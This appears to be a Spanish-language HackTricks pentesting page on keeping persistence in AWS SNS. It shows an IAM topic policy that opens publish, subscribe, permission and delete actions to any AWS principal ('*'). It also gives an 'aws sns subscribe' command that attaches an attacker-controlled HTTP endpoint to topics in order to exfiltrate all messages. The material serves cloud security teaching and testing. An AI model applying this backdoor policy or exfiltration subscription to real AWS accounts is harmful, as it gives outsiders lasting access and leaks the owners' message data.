# AWS - SNS Persistence {{#include ../../../banners/hacktricks-training.md}} ## SNS Para más información consulta: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} ### Persistence Al crear un **tema SNS** necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\ La siguiente política le da a todos en AWS acceso para leer y escribir en el tema SNS llamado **`MySNS.fifo`**: ```json { "Version": "2008-10-17", "Id": "__default_policy_ID", "Statement": [ { "Sid": "__default_statement_ID", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "SNS:Publish", "SNS:RemovePermission", "SNS:SetTopicAttributes", "SNS:DeleteTopic", "SNS:ListSubscriptionsByTopic", "SNS:GetTopicAttributes", "SNS:AddPermission", "SNS:Subscribe" ], "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", "Condition": { "StringEquals": { "AWS:SourceOwner": "318142138553" } } }, { "Sid": "__console_pub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Publish", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" }, { "Sid": "__console_sub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Subscribe", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" } ] } ``` ### Crear Suscriptores Para continuar exfiltrando todos los mensajes de todos los temas, el atacante podría **crear suscriptores para todos los temas**. Tenga en cuenta que si el **tema es de tipo FIFO**, solo se pueden utilizar suscriptores que usen el protocolo **SQS**. ```bash aws sns subscribe --region \ --protocol http \ --notification-endpoint http:/// \ --topic-arn ``` {{#include ../../../banners/hacktricks-training.md}}